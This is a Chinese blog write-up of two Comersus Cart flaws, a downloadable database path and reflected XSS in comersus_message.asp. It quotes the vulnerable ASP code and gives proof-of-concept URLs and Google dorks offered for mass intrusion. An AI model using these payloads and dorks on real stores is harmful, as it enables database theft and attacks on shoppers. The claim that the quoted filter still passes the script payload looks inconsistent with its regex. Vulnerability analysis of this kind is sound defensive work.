作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
Comersus Cart是一套ASP开源的电子商务购物系统,是由一家大型的跨国公司开发的购物系统,很受人们欢迎,其中包括信用卡,航运,股票,加密,拍卖,评论,订单跟踪,多层次,类别,销售数字。由于Comersus Cart不正确处理和过滤用户提交的请求,导致了XSS漏洞的发生,另外还有一数据库下载漏洞,具体分析参见下文。
漏洞分析
1.远程数据库下载:
exploit:
http://[website]/[script]/database/commersus.mdb
2.XSS漏洞:
跨站漏洞存在comersus_message.asp文件中
漏洞代码如下:
<!--#include virtual="/comersus7F/includes/settings.asp"-->
<!--#include virtual="/comersus7F/includes/getSettingKey.asp"-->
<!--#include virtual="/comersus7F/includes/sessionFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/databaseFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/screenMessages.asp"-->
<!--#include virtual="/comersus7F/includes/stringFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/currencyFormat.asp"-->
<!--#include virtual="/comersus7F/includes/itemFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/cartFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/adSenseFunctions.asp"-->
代码省略……
pMessage = getScreenMessage(request.querystring("message"),3000)
%> 获取message变量值,并赋予变量pMessage,getScreenMessage函数在stirngFunctions.asp文件中有定义,具体定义参见后面的内容
<!--#include file="header.asp"-->
<br><b><%=getMsg(581,"attention")%></b><br><br>
<%=pMessage%> <%=session("message")%><br><br> 由于未对变量message进行有效地过滤,而直接将pMessage输出,造成跨站脚本漏洞
<%session("message")=""%>
<!--#include file="footer.asp"-->
<%call closeDb()%>
#stirngFunctions.asp文件中对getScreenMessage函数的定义如下:
function getScreenMessage(input,stringLength)
to filter screenMessage
dim regEx
Set regEx = New RegExp
getScreenMessage = left(trim(input),stringLength)
regEx.Pattern = "([^-_A-Za-z0-9@., ])" 正则表达式
regEx.IgnoreCase = True
regEx.Global = True
getScreenMessage = regEx.Replace(getScreenMessage, "") 运用正则表达式对intput值进行简单过滤,但仍可造成XSS
Set regEx = nothing
end function
exploit:
http://[website]/[script]/store/comersus_message.asp?message=<script>alert(riusksk)</script>
测试结果:
批量入侵:
google dork: inurl:.asp? Powered by Comersus ASP Shopping Cart
inurl:comersus_message.asp?
inurl:commersus.mdb
搜索结果如图:
总结
通过分析可以看见漏洞产生主要是由于未对用户所提交的数据变量进行严格的处理或过滤而导致的,其实在web安全漏洞的造成大多是因此,可见对用户提交的的数据进行过滤是相当重要的,现在也开发出了很多这方面的漏洞扫描工具,代码审计工具,脚本调试工具等等的工具来及时发现并修补脚本漏洞